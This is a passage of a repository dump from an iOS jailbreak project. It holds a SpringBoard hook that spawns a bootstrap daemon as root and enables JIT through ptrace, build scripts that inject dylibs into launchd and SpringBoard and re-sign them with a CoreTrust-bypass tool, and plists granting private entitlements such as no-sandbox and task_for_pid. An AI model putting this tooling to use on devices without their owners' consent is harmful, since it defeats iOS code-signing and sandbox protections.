\t<key>com.apple.proactive.hero.AppPrediction.predictions</key>\n\t<true/>\n\t<key>com.apple.proactive.infoSuggestion.xpc</key>\n\t<true/>\n\t<key>com.apple.purplebuddy.budd.access</key>\n\t<true/>\n\t<key>com.apple.remotenotification.access</key>\n\t<true/>\n\t<key>com.apple.remotenotification.preferences</key>\n\t<true/>\n\t<key>com.apple.rootless.storage.com.apple.MobileAsset.DuetExpertCenterAsset</key>\n\t<true/>\n\t<key>com.apple.rootless.storage.coreduet_knowledge_store</key>\n\t<true/>\n\t<key>com.apple.rootless.storage.proactivepredictions</key>\n\t<true/>\n\t<key>com.apple.runningboard.hereditarygrantoriginator</key>\n\t<true/>\n\t<key>com.apple.runningboard.posterkit.host</key>\n\t<true/>\n\t<key>com.apple.runningboard.primitiveattribute</key>\n\t<true/>\n\t<key>com.apple.runningboard.process-state</key>\n\t<true/>\n\t<key>com.apple.runningboard.request.identity</key>\n\t<true/>\n\t<key>com.apple.runningboard.terminateprocess</key>\n\t<true/>\n\t<key>com.apple.runningboard.underlyingassertion</key>\n\t<true/>\n\t<key>com.apple.securebackupd.access</key>\n\t<true/>\n\t<key>com.apple.security.application-groups</key>\n\t<array>\n\t\t<string>group.com.apple.weather</string>\n\t\t<string>group.com.apple.stocks</string>\n\t\t<string>com.apple.Home.group</string>\n\t</array>\n\t<key>com.apple.security.enterprise-volume-access</key>\n\t<true/>\n\t<key>com.apple.security.exception.files.absolute-path.read-only</key>\n\t<array>\n\t\t<string>/private/var/mobile/Library/Trial/NamespaceDescriptors/</string>\n\t\t<string>/private/var/mobile/Library/Trial/Treatments/180/</string>\n\t</array>\n\t<key>com.apple.security.exception.mach-lookup.global-name</key>\n\t<array>\n\t\t<string>com.apple.sirittsd</string>\n\t\t<string>com.apple.proactive.UserEducationSuggestion.server-listener.xpc</string>\n\t\t<string>com.apple.Photos.MultiLibrary</string>\n\t\t<string>com.apple.abm.helper.mobile</string>\n\t\t<string>com.apple.siri.activation.service</string>\n\t\t<string>com.apple.springboard.SBRendererService</string>\n\t\t<string>com.apple.appstored.xpc</string>\n\t\t<string>com.apple.appstored.xpc.request</string>\n\t\t<string>com.apple.PointerUI.pointeruid.service-launching</string>\n\t\t<string>com.apple.proactive.appDirectory</string>\n\t\t<string>com.apple.CarPlayApp.service</string>\n\t\t<string>com.apple.sleepd.sleepserver</string>\n\t\t<string>com.apple.donotdisturb.service</string>\n\t\t<string>com.apple.coordination.alarms</string>\n\t\t<string>com.apple.coordination.timers</string>\n\t\t<string>com.apple.tipsd</string>\n\t\t<string>com.apple.ModeEntityScorer</string>\n\t\t<string>com.apple.proactive.NotificationDigest.xpc</string>\n\t\t<string>com.apple.assistant.announcement_state.service</string>\n\t\t<string>com.apple.icloud.searchpartyd.beaconmanager</string>\n\t\t<string>com.apple.server.bluetooth.general.xpc</string>\n\t\t<string>com.apple.powerd.smartpowernap</string>\n\t\t<string>com.apple.biomesyncd.realTimeSession</string>\n\t\t<string>com.apple.sessionservices</string>\n\t\t<string>aps-connection-initiate</string>\n\t\t<string>com.apple.mobileassetd.v2</string>\n\t\t<string>com.apple.HearingApp</string>\n\t</array>\n\t<key>com.apple.security.exception.shared-preference.read-only</key>\n\t<array>\n\t\t<string>com.apple.appstored</string>\n\t\t<string>com.apple.itunesstored</string>\n\t\t<string>com.apple.suggestions</string>\n\t</array>\n\t<key>com.apple.security.iokit-user-client-class</key>\n\t<array>\n\t\t<string>IOUserClient</string>\n\t</array>\n\t<key>com.apple.security.system-container</key>\n\t<true/>\n\t<key>com.apple.security.system-groups</key>\n\t<array>\n\t\t<string>systemgroup.com.apple.sharedpclogging</string>\n\t\t<string>systemgroup.com.apple.regulatory_images</string>\n\t\t<string>systemgroup.com.apple.userimagecache</string>\n\t</array>\n\t<key>com.apple.seld.tsmamnager</key>\n\t<true/>\n\t<key>com.apple.seserviced.key</key>\n\t<true/>\n\t<key>com.apple.seserviced.kmlXpcService</key>\n\t<true/>\n\t<key>com.apple.sharing.Client</key>\n\t<true/>\n\t<key>com.apple.sharing.CoordinatedAlerts</key>\n\t<true/>\n\t<key>com.apple.sharing.Diagnostics</key>\n\t<true/>\n\t<key>com.apple.sharing.Session</key>\n\t<true/>\n\t<key>com.apple.siri.VoiceShortcuts.xpc</key>\n\t<true/>\n\t<key>com.apple.siri.activation.assertion</key>\n\t<true/>\n\t<key>com.apple.siri.activation.button-event.listener</key>\n\t<true/>\n\t<key>com.apple.siri.activation.service</key>\n\t<true/>\n\t<key>com.apple.siri.client_lite</key>\n\t<true/>\n\t<key>com.apple.siri.external_request</key>\n\t<true/>\n\t<key>com.apple.sos.trigger</key>\n\t<true/>\n\t<key>com.apple.soundscapes.picker</key>\n\t<true/>\n\t<key>com.apple.splashboard.launch-image-capture</key>\n\t<true/>\n\t<key>com.apple.springboard-ui.client</key>\n\t<true/>\n\t<key>com.apple.springboard.activateRemoteAlert</key>\n\t<true/>\n\t<key>com.apple.springboard.activateawayviewplugins</key>\n\t<true/>\n\t<key>com.apple.springboard.allowallcallurls</key>\n\t<true/>\n\t<key>com.apple.springboard.application-removability.proxy</key>\n\t<true/>\n\t<key>com.apple.springboard.display-lookup</key>\n\t<true/>\n\t<key>com.apple.springboard.lockScreenContentAssertion</key>\n\t<true/>\n\t<key>com.apple.springboard.multiwindow.triggerShowAllWindows</key>\n\t<true/>\n\t<key>com.apple.springboard.opensensitiveurl</key>\n\t<true/>\n\t<key>com.apple.springboard.openurlswhenlocked</key>\n\t<true/>\n\t<key>com.apple.springboard.setbadgestring</key>\n\t<true/>\n\t<key>com.apple.springboard.shortcutitems.fullaccess</key>\n\t<true/>\n\t<key>com.apple.springboard.statusbarstyleoverrides</key>\n\t<true/>\n\t<key>com.apple.springboard.statusbarstyleoverrides.coordinator</key>\n\t<array>\n\t\t<string>UIStatusBarStyleOverrideAutoAirPlayReady</string>\n\t\t<string>UIStatusBarStyleOverrideAutoAirPlayPlaying</string>\n\t</array>\n\t<key>com.apple.symptom_analytics.query</key>\n\t<true/>\n\t<key>com.apple.symptom_analytics.refresh</key>\n\t<true/>\n\t<key>com.apple.symptoms.NetworkOfInterest</key>\n\t<true/>\n\t<key>com.apple.telephonyutilities.callservicesd</key>\n\t<array>\n\t\t<string>access-calls</string>\n\t\t<string>modify-calls</string>\n\t\t<string>access-call-providers</string>\n\t\t<string>access-moments</string>\n\t</array>\n\t<key>com.apple.timed</key>\n\t<true/>\n\t<key>com.apple.trial.client</key>\n\t<array>\n\t\t<string>962</string>\n\t</array>\n\t<key>com.apple.tzlink.allow</key>\n\t<true/>\n\t<key>com.apple.ui-services-discovery</key>\n\t<true/>\n\t<key>com.apple.videoconference.allow-conferencing</key>\n\t<true/>\n\t<key>com.apple.visualvoicemail.client</key>\n\t<true/>\n\t<key>com.apple.voiceservices.tts.customvoice</key>\n\t<true/>\n\t<key>com.apple.voicetrigger.voicetriggerservice</key>\n\t<true/>\n\t<key>com.apple.wallet.banner</key>\n\t<true/>\n\t<key>com.apple.watchlist.private</key>\n\t<true/>\n\t<key>com.apple.wifi.manager-access</key>\n\t<true/>\n\t<key>com.apple.wipedevice</key>\n\t<true/>\n\t<key>fairplay-client</key>\n\t<string>1172857363</string>\n\t<key>get-task-allow</key>\n\t<true/>\n\t<key>keychain-access-groups</key>\n\t<array>\n\t\t<string>apple</string>\n\t\t<string>com.apple.preferences</string>\n\t</array>\n\t<key>vm-pressure-level</key>\n\t<true/>\n</dict>\n</plist>\n"
  },
  {
    "path": "RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/.gitignore",
    "content": ".theos/\npackages/\n.DS_Store\n"
  },
  {
    "path": "RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/Makefile",
    "content": "TARGET := iphone:clang:latest:15.0\nARCHS = arm64e\nTHEOS_PACKAGE_SCHEME=roothide\nINSTALL_TARGET_PROCESSES = SpringBoard\n\ninclude $(THEOS)/makefiles/common.mk\n\nTWEAK_NAME = SpringBoardHook\n\nSpringBoardHook_FILES = Tweak.x\nSpringBoardHook_CFLAGS = -fobjc-arc -lbsm\n\nafter-package::\n\techo \"[*] Signing SB hook\"\n\t../../../ChOma/output/tests/ct_bypass -i .theos/obj/debug/springboardhook.dylib -o springboardhooksigned.dylib\ninclude $(THEOS_MAKE_PATH)/tweak.mk\n"
  },
  {
    "path": "RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/SpringBoardHook.plist",
    "content": "{ Filter = { Bundles = ( \"com.apple.springboard\" ); }; }\n"
  },
  {
    "path": "RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/Tweak.x",
    "content": "#include <unistd.h>\n#include <stdio.h>\n#include <dlfcn.h>\n#include <spawn.h>\n#include <dispatch/dispatch.h>\n#include <Foundation/Foundation.h>\n#include <dirent.h>\n#include <roothide.h>\n\n#define POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE 1\n\nint posix_spawnattr_set_persona_np(const posix_spawnattr_t* __restrict, uid_t, uint32_t);\nint posix_spawnattr_set_persona_uid_np(const posix_spawnattr_t* __restrict, uid_t);\nint posix_spawnattr_set_persona_gid_np(const posix_spawnattr_t* __restrict, uid_t);\n\nint fd_is_valid(int fd)\n{\n    return fcntl(fd, F_GETFD) != -1 || errno != EBADF;\n}\n\nNSString* getNSStringFromFile(int fd)\n{\n    NSMutableString* ms = [NSMutableString new];\n    ssize_t num_read;\n    char c;\n    if(!fd_is_valid(fd)) return @\"\";\n    while((num_read = read(fd, &c, sizeof(c))))\n    {\n        [ms appendString:[NSString stringWithFormat:@\"%c\", c]];\n        if(c == '\\n') break;\n    }\n    return ms.copy;\n}\n\nint spawnRoot(NSString* path, NSArray* args, NSString** stdOut, NSString** stdErr)\n{\n    NSMutableArray* argsM = args.mutableCopy ?: [NSMutableArray new];\n    [argsM insertObject:path.lastPathComponent atIndex:0];\n    \n    NSUInteger argCount = [argsM count];\n    char **argsC = (char **)malloc((argCount + 1) * sizeof(char*));\n\n    for (NSUInteger i = 0; i < argCount; i++)\n    {\n        argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]);\n    }\n    argsC[argCount] = NULL;\n\n    posix_spawnattr_t attr;\n    posix_spawnattr_init(&attr);\n\n    posix_spawnattr_set_persona_np(&attr, 99, POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE);\n    posix_spawnattr_set_persona_uid_np(&attr, 0);\n    posix_spawnattr_set_persona_gid_np(&attr, 0);\n\n    posix_spawn_file_actions_t action;\n    posix_spawn_file_actions_init(&action);\n\n    int outErr[2];\n    if(stdErr)\n    {\n        pipe(outErr);\n        posix_spawn_file_actions_adddup2(&action, outErr[1], STDERR_FILENO);\n        posix_spawn_file_actions_addclose(&action, outErr[0]);\n    }\n\n    int out[2];\n    if(stdOut)\n    {\n        pipe(out);\n        posix_spawn_file_actions_adddup2(&action, out[1], STDOUT_FILENO);\n        posix_spawn_file_actions_addclose(&action, out[0]);\n    }\n    \n    pid_t task_pid;\n    int status = -200;\n    int spawnError = posix_spawn(&task_pid, [path UTF8String], &action, &attr, (char* const*)argsC, NULL);\n    posix_spawnattr_destroy(&attr);\n    for (NSUInteger i = 0; i < argCount; i++)\n    {\n        free(argsC[i]);\n    }\n    free(argsC);\n    \n    if(spawnError != 0)\n    {\n        NSLog(@\"posix_spawn error %d\\n\", spawnError);\n        return spawnError;\n    }\n\n    do\n    {\n        if (waitpid(task_pid, &status, 0) != -1) {\n            NSLog(@\"Child status %d\", WEXITSTATUS(status));\n        } else\n        {\n            perror(\"waitpid\");\n            return -222;\n        }\n    } while (!WIFEXITED(status) && !WIFSIGNALED(status));\n\n    if(stdOut)\n    {\n        close(out[1]);\n        NSString* output = getNSStringFromFile(out[0]);\n        *stdOut = output;\n    }\n\n    if(stdErr)\n    {\n        close(outErr[1]);\n        NSString* errorOutput = getNSStringFromFile(outErr[0]);\n        *stdErr = errorOutput;\n    }\n    \n    return WEXITSTATUS(status);\n}\n\n%hook CSStatusTextView\n- (void)setInternalLegalText:(NSString *)string {\n    %orig(@\":troll:\");\n}\n%end\n\nbool OpenedTweaks = false;\nbool os_variant_has_internal_content(const char* subsystem);\n%hookf(bool, os_variant_has_internal_content, const char* subsystem) {\n    if (OpenedTweaks == false) {\n        //const char* path = jbroot(\"/Library/MobileSubstrate/DynamicLibraries\");\n        //DIR *dir;\n        //struct dirent *ent;\n        //    if ((dir = opendir(path)) != NULL) {\n        //        while ((ent = readdir(dir)) != NULL) {\n        //            if (ent->d_type == DT_REG && strstr(ent->d_name, \".dylib\")) {\n        //                char filePath[256];\n        //                snprintf(filePath, sizeof(filePath), \"%s/%s\", path, ent->d_name);\n        //                dlopen(filePath, RTLD_NOW | RTLD_GLOBAL);\n        //        }\n        //    }\n        spawnRoot(jbroot(@\"/basebin/bootstrapd\"), @[@\"daemon\",@\"-f\"], nil, nil);\n        dlopen(jbroot(@\"/basebin/bootstrap.dylib\").UTF8String, RTLD_GLOBAL | RTLD_NOW);\n        OpenedTweaks = true;\n        return true;\n    } else {\n        return true;\n    }\n}\n\n#define CS_DEBUGGED 0x10000000\nint csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize);\nint fork();\nint ptrace(int, int, int, int);\nint isJITEnabled() {\n    int flags;\n    csops(getpid(), 0, &flags, sizeof(flags));\n    return (flags & CS_DEBUGGED) != 0;\n}\n\n%ctor {\n    if (!isJITEnabled()) {\n        // Enable JIT\n        int pid = fork();\n        if (pid == 0) {\n            ptrace(0, 0, 0, 0);\n            exit(0);\n        } else if (pid > 0) {\n            while (wait(NULL) > 0) {\n                usleep(1000);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/build.sh",
    "content": "make\nldid -S../../launchdentitlements.plist -Cadhoc .theos/obj/debug/SpringBoardHook.dylib\n/Users/ibarahime/ChOma/ct_bypass -i .theos/obj/debug/SpringBoardHook.dylib -r -o springboardhooksigned.dylib"
  },
  {
    "path": "RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/control",
    "content": "Package: com.yourcompany.springboardhook\nName: SpringBoardHook\nVersion: 0.0.1\nArchitecture: iphoneos-arm\nDescription: An awesome MobileSubstrate tweak!\nMaintainer: LL\nAuthor: LL\nSection: Tweaks\nDepends: mobilesubstrate (>= 0.9.5000)\n"
  },
  {
    "path": "RootHelperSample/launchdshim/SpringBoardShim/build.sh",
    "content": "function replaceByte() {\n    printf \"\\x00\\x00\\x00\\x00\" | dd of=\"$1\" bs=1 seek=$2 count=4 conv=notrunc &> /dev/null\n}\n\nmake\n# /Users/ibarahime/insert_dylib/insert_dylib/insert_dylib /var/jb/usr/lib/ellekit/libinjector.dylib .theos/obj/debug/arm64e/springboardshim springboardshiminjected --all-yes\n# /Users/ibarahime/insert_dylib/insert_dylib/insert_dylib /var/jb/usr/lib/libellekit.dylib springboardshiminjected springboardshiminjected --all-yes\n/Users/ibarahime/insert_dylib/insert_dylib/insert_dylib @loader_path/springboardhook.dylib .theos/obj/debug/arm64e/springboardshim springboardshiminjected --all-yes\n\n# replaceByte 'springboardshiminjected' 8 \nldid -SSpringBoardEnts.plist springboardshiminjected\n/Users/ibarahime/ChOma/ct_bypass -i springboardshiminjected -r -o springboardshimsignedinjected\n"
  },
  {
    "path": "RootHelperSample/launchdshim/SpringBoardShim/main.c",
    "content": "#include <dlfcn.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <dirent.h>\n\nint (*SBSystemAppMain)(int argc, char *argv[], char *envp[], char* apple[]);\n\nint main(int argc, char *argv[], char *envp[], char* apple[]) {\n    void *handle = dlopen(\"/System/Library/PrivateFrameworks/SpringBoard.framework/SpringBoard\", RTLD_GLOBAL);\n    SBSystemAppMain = dlsym(handle, \"SBSystemAppMain\");\n    return SBSystemAppMain(argc, argv, envp, apple);\n}\n\n"
  },
  {
    "path": "RootHelperSample/launchdshim/build.sh",
    "content": "function replaceByte() {\n    printf \"\\x00\\x00\\x00\\x00\" | dd of=\"$1\" bs=1 seek=$2 count=4 conv=notrunc &> /dev/null\n}\nreplaceByte 'launchd' 8 \n# /Users/ibarahime/insert_dylib/insert_dylib/insert_dylib /var/jb/usr/lib/ellekit/libinjector.dylib .theos/obj/debug/arm64e/springboardshim springboardshiminjected --all-yes\n# /Users/ibarahime/insert_dylib/insert_dylib/insert_dylib /var/jb/usr/lib/libellekit.dylib springboardshiminjected springboardshiminjected --all-yes\n/Users/ibarahime/insert_dylib/insert_dylib/insert_dylib @loader_path/launchdhook.dylib launchd launchdinjected --all-yes\nldid -Slaunchdentitlements.plist launchdinjected\n/Users/ibarahime/ChOma/ct_bypass -i launchdinjected -r -o launchdsignedinjected\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdentitlements.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n \t<key>com.apple.private.security.no-sandbox</key>\n    <true/>\n\t<key>com.apple.private.domain-extension</key>\n\t<true/>\n\t<key>com.apple.private.security.container-required</key>\n\t<false/>\n\t<key>com.apple.private.security.no-container</key>\n\t<true/>\n\t<key>com.apple.private.skip-library-validation</key>\n\t<true/>\n\t<key>com.apple.private.xpc.domain-extension</key>\n\t<true/>\n\t<key>com.apple.private.xpc.domain-extension.proxy</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.app-state-manager</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.enable-disable-system-services</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.event-monitor</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.loginitem-bootstrapper</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.loginitem-outside-bundle</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.obliterator</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.per-user-create.mbsetupuser</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.per-user-lookup</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.reboot</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.service-hold</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.userspace-reboot</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.userspace-reboot-now</key>\n\t<true/>\n\t<key>com.apple.private.xpc.persona-creator</key>\n\t<true/>\n\t<key>com.apple.private.xpc.persona-manager</key>\n\t<true/>\n    <key>com.apple.private.persona-mgmt</key>\n    <true/>\n\t<key>com.apple.private.xpc.service-attach</key>\n\t<true/>\n\t<key>com.apple.private.xpc.service-configure</key>\n\t<true/>\n\t<key>platform-application</key>\n\t<true/>\n    <key>get-task-allow</key>\n    <true/>\n    <key>task_for_pid-allow</key>\n    <true/>\n    <!-- <key>com.apple.private.security.storage.AppBundles</key>\n    <true/>\n    <key>com.apple.private.security.storage.AppDataContainers</key>\n    <true/> -->\n\t<key>com.apple.private.set-launch-type.internal</key>\n\t<true/>\n\t<key>com.apple.security.exception.mach-lookup.global-name</key>\n\t<array>\n\t\t<string>com.apple.mmaintenanced</string>\n\t\t<string>com.apple.memory-maintenance</string>\n\t</array>\n\t<key>com.apple.apfs.get-dev-by-role</key>\n\t<true/>\n\t<key>com.apple.private.amfi.can-allow-non-platform</key>\n\t<true/>\n\t<key>com.apple.private.iokit.system-nvram-allow</key>\n\t<true/>\n\t<key>com.apple.private.kernel.system-override</key>\n\t<true/>\n\t<key>com.apple.private.persona-mgmt</key>\n\t<true/>\n\t<key>com.apple.private.pmap.load-trust-cache</key>\n\t<array>\n\t\t<string>cryptex1.boot.os</string>\n\t\t<string>cryptex1.boot.app</string>\n\t\t<string>cryptex1.safari-downlevel</string>\n\t</array>\n\t<key>com.apple.private.record_system_event</key>\n\t<true/>\n\t<key>com.apple.private.roots-installed-read-write</key>\n\t<true/>\n\t<key>com.apple.private.security.disk-device-access</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.driverkitd</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.launchd</key>\n\t<true/>\n\t<key>com.apple.private.security.system-mount-authority</key>\n\t<true/>\n\t<key>com.apple.private.set-atm-diagnostic-flag</key>\n\t<true/>\n\t<key>com.apple.private.spawn-panic-crash-behavior</key>\n\t<true/>\n\t<key>com.apple.private.spawn-subsystem-root</key>\n\t<true/>\n\t<key>com.apple.private.vfs.allow-low-space-writes</key>\n\t<true/>\n\t<key>com.apple.private.vfs.graftdmg</key>\n\t<true/>\n\t<key>com.apple.private.vfs.pivot-root</key>\n\t<true/>\n\t<key>com.apple.rootless.restricted-block-devices</key>\n\t<true/>\n\t<key>com.apple.rootless.storage.early_boot_mount</key>\n\t<true/>\n\t<key>com.apple.rootless.volume.Preboot</key>\n\t<true/>\n\t<key>com.apple.security.network.server</key>\n\t<true/>\n</dict>\n</plist>\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/Frameworks/IOMobileFramebuffer.framework/IOMobileFramebuffer.tbd",
    "content": "--- !tapi-tbd-v3\narchs:                 [ armv7, armv7s, arm64, arm64e ]\nplatform:              ios\nflags:                 [ flat_namespace ]\ninstall-name:          /System/Library/PrivateFrameworks/IOMobileFramebuffer.framework/IOMobileFramebuffer\ncurrent-version:       1\ncompatibility-version: 1\nexports:\n  - archs:                [ armv7, armv7s, arm64, arm64e ]\n    symbols:              [ _IOMobileFrameBufferEnableDebugTracing,\n                            _IOMobileFrameBufferEnableVBLTraces,\n                            _IOMobileFrameBufferGetDebugTraces,\n                            _IOMobileFrameBufferGetMirroringCapability,\n                            _IOMobileFrameBufferPrintDebugTraces,\n                            _IOMobileFrameBufferSetLogLevel,\n                            _IOMobileFrameBufferprintDisplayRegs,\n                            _IOMobileFramebufferALSSEnableWindows,\n                            _IOMobileFramebufferALSSGetRGBCoeffs,\n                            _IOMobileFramebufferALSSGetWindows,\n                            _IOMobileFramebufferALSSGetWindowsSums,\n                            _IOMobileFramebufferALSSSetRGBCoeffs,\n                            _IOMobileFramebufferALSSSetWindows,\n                            _IOMobileFramebufferChangeFrameInfo,\n                            _IOMobileFramebufferCopyLayerDisplayedSurface,\n                            _IOMobileFramebufferCopyProperty,\n                            _IOMobileFramebufferCreateDisplayList,\n                            _IOMobileFramebufferCreateStatistics,\n                            _IOMobileFramebufferDisableCRCNotifications,\n                            _IOMobileFramebufferDisableHotPlugDetectNotifications,\n                            _IOMobileFramebufferDisablePowerNotifications,\n                            _IOMobileFramebufferDisableVSyncNotifications,\n                            _IOMobileFramebufferEnableCRCNotifications,\n                            _IOMobileFramebufferEnableDisableDithering,\n                            _IOMobileFramebufferEnableDisableVideoPowerSavings,\n                            _IOMobileFramebufferEnableHotPlugDetectNotifications,\n                            _IOMobileFramebufferEnableMirroring,\n                            _IOMobileFramebufferEnablePowerNotifications,\n                            _IOMobileFramebufferEnableStatistics,\n                            _IOMobileFramebufferEnableVSyncNotifications,\n                            _IOMobileFramebufferFactoryPortal,\n                            _IOMobileFramebufferFrameInfo,\n                            _IOMobileFramebufferGetBlock,\n                            _IOMobileFramebufferGetBrightnessControlCapabilities,\n                            _IOMobileFramebufferGetBrightnessControlInfo,\n                            _IOMobileFramebufferGetBufBlock,\n                            _IOMobileFramebufferGetCRCNotifyMessageCount,\n                            _IOMobileFramebufferGetCRCRunLoopSource,\n                            _IOMobileFramebufferGetCanvasSizes,\n                            _IOMobileFramebufferGetColorRemapMode,\n                            _IOMobileFramebufferGetCurrentAbsoluteTime,\n                            _IOMobileFramebufferGetDigitalOutState,\n                            _IOMobileFramebufferGetDisplayArea,\n                            _IOMobileFramebufferGetDisplaySize,\n                            _IOMobileFramebufferGetDotPitch,\n                            _IOMobileFramebufferGetFrameworkInfo,\n                            _IOMobileFramebufferGetGammaTable,\n                            _IOMobileFramebufferGetHDCPAuthenticationProtocol,\n                            _IOMobileFramebufferGetHDCPDownstreamState,\n                            _IOMobileFramebufferGetHDCPRunLoopSource,\n                            _IOMobileFramebufferGetHotPlugRunLoopSource,\n                            _IOMobileFramebufferGetID,\n                            _IOMobileFramebufferGetLayerDefaultSurface,\n                            _IOMobileFramebufferGetLinkQuality,\n                            _IOMobileFramebufferGetMainDisplay,\n                            _IOMobileFramebufferGetMatrix,\n                            _IOMobileFramebufferGetMirrorError,\n                            _IOMobileFramebufferGetProtectionOptions,\n                            _IOMobileFramebufferGetRunLoopSource,\n                            _IOMobileFramebufferGetSecondaryDisplay,\n                            _IOMobileFramebufferGetServiceObject,\n                            _IOMobileFramebufferGetSupportedDigitalOutModes,\n                            _IOMobileFramebufferGetTypeID,\n                            _IOMobileFramebufferGetVSyncRunLoopSource,\n                            _IOMobileFramebufferGetWirelessSurface,\n                            _IOMobileFramebufferGetWirelessSurfaceWithOptions,\n                            _IOMobileFramebufferHDCPGetReply,\n                            _IOMobileFramebufferHDCPSendRequest,\n                            _IOMobileFramebufferInstallVirtualDisplay,\n                            _IOMobileFramebufferInstallVirtualDisplays,\n                            _IOMobileFramebufferIsMainDisplay,\n                            _IOMobileFramebufferKernelTests,\n                            _IOMobileFramebufferOpen,\n                            _IOMobileFramebufferOpenByName,\n                            _IOMobileFramebufferReadyForSwap,\n                            _IOMobileFramebufferRequestPowerChange,\n                            _IOMobileFramebufferSPLCGetBrightness,\n                            _IOMobileFramebufferSPLCSetBrightness,\n                            _IOMobileFramebufferScheduleWithDispatchQueue,\n                            _IOMobileFramebufferSetBlock,\n                            _IOMobileFramebufferSetBrightnessControlCallback,\n                            _IOMobileFramebufferSetBrightnessCorrection,\n                            _IOMobileFramebufferSetCanvasSize,\n                            _IOMobileFramebufferSetColorRemapMode,\n                            _IOMobileFramebufferSetContrast,\n                            _IOMobileFramebufferSetDebugFlags,\n                            _IOMobileFramebufferSetDigitalOutMode,\n                            _IOMobileFramebufferSetDisplayDevice,\n                            _IOMobileFramebufferSetDroppable,\n                            _IOMobileFramebufferSetFlags,\n                            _IOMobileFramebufferSetGammaTable,\n                            _IOMobileFramebufferSetIdleBuffer,\n                            _IOMobileFramebufferSetLine21Data,\n                            _IOMobileFramebufferSetMatrix,\n                            _IOMobileFramebufferSetMirrorContentRegion,\n                            _IOMobileFramebufferSetParameter,\n                            _IOMobileFramebufferSetRenderingAngle,\n                            _IOMobileFramebufferSetTVOutMode,\n                            _IOMobileFramebufferSetTVOutSignalType,\n                            _IOMobileFramebufferSetUnderrunColor,\n                            _IOMobileFramebufferSetVideoDACGain,\n                            _IOMobileFramebufferSetWSSInfo,\n                            _IOMobileFramebufferSetWhiteOnBlackMode,\n                            _IOMobileFramebufferSupportedFrameInfo,\n                            _IOMobileFramebufferSurfaceIsReplaceable,\n                            _IOMobileFramebufferSwapActiveRegion,\n                            _IOMobileFramebufferSwapBegin,\n                            _IOMobileFramebufferSwapCancel,\n                            _IOMobileFramebufferSwapCancelAll,\n                            _IOMobileFramebufferSwapDirtyRegion,\n                            _IOMobileFramebufferSwapEnd,\n                            _IOMobileFramebufferSwapSetBackgroundColor,\n                            _IOMobileFramebufferSwapSetBrightness,\n                            _IOMobileFramebufferSwapSetBrightnessLimit,\n                            _IOMobileFramebufferSwapSetColorMatrix,\n                            _IOMobileFramebufferSwapSetDisplayEdr,\n                            _IOMobileFramebufferSwapSetGammaTable,\n                            _IOMobileFramebufferSwapSetICCCurve,\n                            _IOMobileFramebufferSwapSetICCMatrix,\n                            _IOMobileFramebufferSwapSetLayer,\n                            _IOMobileFramebufferSwapSetParams,\n                            _IOMobileFramebufferSwapSetTimestamp,\n                            _IOMobileFramebufferSwapSetTimestamps,\n                            _IOMobileFramebufferSwapSetUISubRegion,\n                            _IOMobileFramebufferSwapSetVideoDestEdgeAlpha,\n                            _IOMobileFramebufferSwapSignal,\n                            _IOMobileFramebufferSwapSubtitleRegion,\n                            _IOMobileFramebufferSwapUIEdgeBlendMode,\n                            _IOMobileFramebufferSwapWait,\n                            _IOMobileFramebufferSwapWaitWithTimeout,\n                            _IOMobileFramebufferSwapWorkaroundSettings,\n                            _IOMobileFramebufferUnscheduleFromDispatchQueue,\n                            _IOMobileFramebufferWaitSurface, _kIOMFB_TotalSwaps,\n                            _kIOMFB_TotalVBLs ]\n...\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/IOMobileFramebuffer.h",
    "content": "#ifndef IOMOBILEFRAMEBUFFER_IOMOBILEFRAMEBUFFER_H\n#define IOMOBILEFRAMEBUFFER_IOMOBILEFRAMEBUFFER_H\n\n#include <CoreFoundation/CoreFoundation.h>\n#include <IOKit/IOKitLib.h>\n#include <IOKit/IOTypes.h>\n#include <CoreGraphics/CoreGraphics.h>\n\ntypedef IOReturn IOMobileFramebufferReturn;\ntypedef struct __IOMobileFramebuffer *IOMobileFramebufferRef;\ntypedef CGSize IOMobileFramebufferDisplaySize;\n\n__BEGIN_DECLS\n\nIOMobileFramebufferReturn\nIOMobileFramebufferGetMainDisplay(IOMobileFramebufferRef *pointer);\n\nIOMobileFramebufferReturn\nIOMobileFramebufferGetDisplaySize(IOMobileFramebufferRef pointer, IOMobileFramebufferDisplaySize *size);\n\nIOMobileFramebufferReturn\nIOMobileFramebufferGetLayerDefaultSurface(IOMobileFramebufferRef pointer, int surface, IOSurfaceRef *buffer);\n\nIOMobileFramebufferReturn\nIOMobileFramebufferSwapBegin(IOMobileFramebufferRef pointer, int *token);\n\nIOMobileFramebufferReturn\nIOMobileFramebufferSwapEnd(IOMobileFramebufferRef pointer);\n\nIOMobileFramebufferReturn\nIOMobileFramebufferSwapSetLayer(IOMobileFramebufferRef pointer, int layerid, IOSurfaceRef buffer, CGRect bounds, CGRect frame, int 